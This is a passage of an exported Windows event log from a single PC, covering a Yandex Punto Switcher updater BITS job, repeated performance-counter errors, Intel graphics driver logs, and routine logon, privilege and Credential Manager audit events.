HONOR-FRG-X\\admin. Program: C:\\Users\\admin\\AppData\\Local\\Yandex\\Punto Switcher\\Updater\\yupdate.exe Args: C:\\Users\\admin\\AppData\\Local\\Yandex\\Punto Switcher\\Updater\\yupdate.exe  --stat-callback 0 --appid punto --job {A9BA6902-5270-40A5-8951-0FC967A4DE1C}.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.072\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.191\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.195\t59\tBITS started the Yupdate-task transfer job that is associated with the http://soft.export.yandex.ru/status.xml?yasoft=punto&clid=1551207&ui={EB66A6CA-1EF6-4210-8E2E-D6D3B48CAC9D}&ver=4.5.0.583&os=win&stat=dayuse&ch=1&launchesAsAdmin=0&os=win10x64&osver=win10x64&usesAutocorrection=0&usesDiary=0&uv=1.2.0.1831&ww=1&fd=19.05.2026 URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.248\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:32.270\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:32.271\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:32.282\t60\tBITS stopped transferring the Yupdate-task transfer job that is associated with the http://soft.export.yandex.ru/status.xml?yasoft=punto&clid=1551207&ui={EB66A6CA-1EF6-4210-8E2E-D6D3B48CAC9D}&ver=4.5.0.583&os=win&stat=dayuse&ch=1&launchesAsAdmin=0&os=win10x64&osver=win10x64&usesAutocorrection=0&usesDiary=0&uv=1.2.0.1831&ww=1&fd=19.05.2026 URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.341\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Yupdate-task\nJob ID: {a9ba6902-5270-40a5-8951-0fc967a4de1c}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.357\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:32.408\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:32.434\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.441\t42\t{\"category\":\"CtlLibGraphicsController\",\"level\":\"Information\",\"message\":\"Graphics adapter: Intel(R) Arc(TM) Graphics\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.446\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.446\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.495\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.501\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.526\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:32.760\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"Maximum display vrr range\",\"parameters\":{\"minVrrRefreshRate\":24,\"maxVrrRefreshRate\":120}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.763\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"Current Display vrr range\",\"parameters\":{\"minVrrRefreshRate\":30,\"maxVrrRefreshRate\":120}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.774\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.776\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.776\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.776\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.777\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.777\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.777\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.777\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.780\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:32.784\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"SupportedColorFormatAndDepth\",\"parameters\":{\"Display\":\"Internal\",\"Supported\":true,\"CurrentPixelFormat\":\"RGB\",\"CurrentColorDepth\":\"BPC_8\",\"PixelFormat RGB\":\"7FFC54E9D31C\",\"PixelFormat YCBCR_420\":\"7FFC54E9D314\",\"PixelFormat YCBCR_422\":\"7FFC54E9D314\",\"PixelFormat YCBCR_444\":\"7FFC54E9D314\",\"ColorDepth 6bpc\":\"7FFC54E9D314\",\"ColorDepth 8bpc\":\"7FFC54E9D31C\",\"ColorDepth 10bpc\":\"7FFC54E9D31C\",\"ColorDepth 12bpc\":\"7FFC54E9D314\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.805\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.805\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.806\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.806\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.812\t42\t{\"category\":\"CtlLibGraphicsController\",\"level\":\"Information\",\"message\":\"Graphics display: Internal - 8388688\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.919\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.059\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.207\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.351\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.499\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.639\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.783\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.927\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.936\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:33.936\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:33.936\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:34.067\t26\tWindows Update successfully found 0 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:29:34.072\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.215\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.268\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:34.304\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:34.309\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:34.309\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:34.369\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked 